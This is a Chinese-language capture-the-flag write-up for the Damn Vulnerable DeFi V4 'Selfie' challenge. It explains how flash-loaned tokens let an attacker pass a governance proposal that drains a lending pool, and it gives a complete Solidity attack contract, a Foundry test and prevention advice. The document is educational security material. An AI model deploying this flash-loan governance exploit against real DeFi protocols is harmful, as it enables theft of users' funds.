Damn Vulnerable DeFi V4 解决方案 — #6. 自拍

本文分析了Damn Vulnerable DeFi V4挑战中的Selfie题目的漏洞,该漏洞源于治理机制未能区分代币持有者和临时持有者(如闪电贷期间)。攻击者可以通过闪电贷获得大量代币,利用这些临时代币进行投票,从而控制治理决策,最终清空资金池。文章提供了攻击流程和解决方案,并提出了预防机制。

Damn Vulnerable DeFi V4 解决方案 — #6. Selfie

此解释假定预先了解此挑战中的智能合约,并将专门关注漏洞分析。

挑战概述

一个新的借贷池已经启动!它现在提供 DVT 代币的闪电贷。它甚至包括一个花哨的治理机制来控制它。

有什么会出错,对吧?

你开始时没有 DVT 代币余额,而该池有 150 万的风险。

从池中救出所有资金,并将它们存入指定的恢复账户。

漏洞分析

我们看到的第一个漏洞是,该合约允许我们将其所有代币作为贷款借走。第二个根本问题是,治理机制没有区分代币持有者和仅暂时持有代币的账户(例如在闪电贷期间)。这造成了一个关键漏洞,即临时资本可用于影响具有永久后果的治理决策。

攻击流程

  1. 借入大部分 DVT 代币的闪电贷
  2. 使用这些临时持有的代币来自委托投票权
  3. 排队一个治理提案,以使用他们控制的目标地址调用 emergencyExit()
  4. 返回闪电贷的代币
  5. 执行排队的动作来耗尽池

解决方案

    contract Drainer is IERC3156FlashBorrower {
        SelfiePool pool;
        SimpleGovernance governance;
        DamnValuableVotes token;
        address recovery;
        uint256 actionId;
        bytes32 private constant CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan");

        constructor(address _pool, address _governance, address _token, address _recovery) {
            pool = SelfiePool(_pool);
            governance = SimpleGovernance(_governance);
            token = DamnValuableVotes(_token);
            recovery = _recovery;
        }

        function startAttack() external {
            uint256 amount = SelfiePool(pool).maxFlashLoan(address(token));
            SelfiePool(pool).flashLoan(this, address(token), amount, "");
        }

        function onFlashLoan(
            address sender,
            address _token,
            uint256 amount,
            uint256 fee,
            bytes calldata data
        ) external returns (bytes32) {

            require(msg.sender == address(pool), "Pool is not sender");
            require(sender == address(this), "Sender is not the owner");

            token.delegate(address(this));

            bytes memory payload = abi.encodeWithSignature("emergencyExit(address)", recovery);
            actionId = governance.queueAction(address(pool), 0, payload);

            token.approve(address(pool), amount);
            return CALLBACK_SUCCESS;
        }

        function executeProposal() external {
            governance.executeAction(actionId);
        }
    }
    /**
     * CODE YOUR SOLUTION HERE
     * 在这里编写你的解决方案
     */
    function test_selfie() public checkSolvedByPlayer {
        Drainer drainer = new Drainer(address(pool), address(governance), address(token), recovery);
        drainer.startAttack();
        vm.warp(block.timestamp + 2 days);
        drainer.executeProposal();
    }

预防机制

该合约本可以实施基于时间的投票限制,其中代币必须持有最短期限(例如 7 天)才能获得投票权,或者可以替代地使用基于快照的治理,该治理在预定的区块号捕获代币余额,而不是使用实时余额。这两种方法都将确保只有长期代币持有者才能参与治理决策。

包含解决方案的 GitHub 存储库:https://github.com/HamMnatsakanyan/damn-vulnerable-defi-solutions/

查看我的 X 个人资料:https://x.com/_synthrax

  • 原文链接: coinsbench.com/damn-vuln...
  • 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
CoinsBench
CoinsBench
https://coinsbench.com/